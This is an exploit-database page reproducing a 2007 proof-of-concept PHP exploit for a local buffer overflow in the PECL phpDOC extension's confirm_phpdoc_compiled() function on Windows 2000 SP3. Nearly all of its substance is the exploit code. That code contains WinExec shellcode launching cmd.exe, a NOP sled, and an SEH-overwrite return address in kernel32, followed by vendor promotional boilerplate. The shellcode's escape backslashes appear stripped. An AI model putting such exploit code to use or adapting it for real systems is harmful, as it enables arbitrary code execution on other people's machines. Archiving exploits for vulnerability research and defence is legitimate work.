Lucene search
K

PHP 5.2.1 with PECL phpDOC Local Buffer Overflow Exploit

🗓️ 26 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 47 Views

PHP 5.2.1 PECL phpDOC Local Buffer Overflow Exploit for WIN 2K SP

Code

                                                <?php
//PHP 5.2.1 with PECL phpDOC confirm_phpdoc_compiled() local buffer overflow poc exploit
//WIN 2K SP3 version / seh overwrite method
//to be launched from the cli

// by rgod
// site: http://retrogod.altervista.org

if (!extension_loaded(\"phpDOC\")){
die(\"you need the phpDOC extension loaded.\");
}


$____scode=
\"xebx1b\".
\"x5b\".
\"x31xc0\".
\"x50\".
\"x31xc0\".
\"x88x43x59\".
\"x53\".
\"xbbxcax73xe9x77\". //WinExec
\"xffxd3\".
\"x31xc0\".
\"x50\".
\"xbbx5cxcfxe9x77\". //ExitProcess
\"xffxd3\".
\"xe8xe0xffxffxff\".
\"x63x6dx64\".
\"x2e\".
\"x65\".
\"x78x65\".
\"x20x2f\".
\"x63x20\".
\"start notepad & \";

//eip & ecx set to the same value ...
$eip=\"x47x30xE9x77\";//0x77E93047      pop ECX - pop - retbis kernel32.dll
//and further (junk...) inc edi, xor cl ch, *ja short* 
//should work on sp4 if you find an usable address
$____suntzu=str_repeat(\"x90\",1393 - strlen($____scode)).$____scode.str_repeat(\"x90\",30).$eip.str_repeat(\"x90\",12);
confirm_phpdoc_compiled($____suntzu);

?>

 
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1
47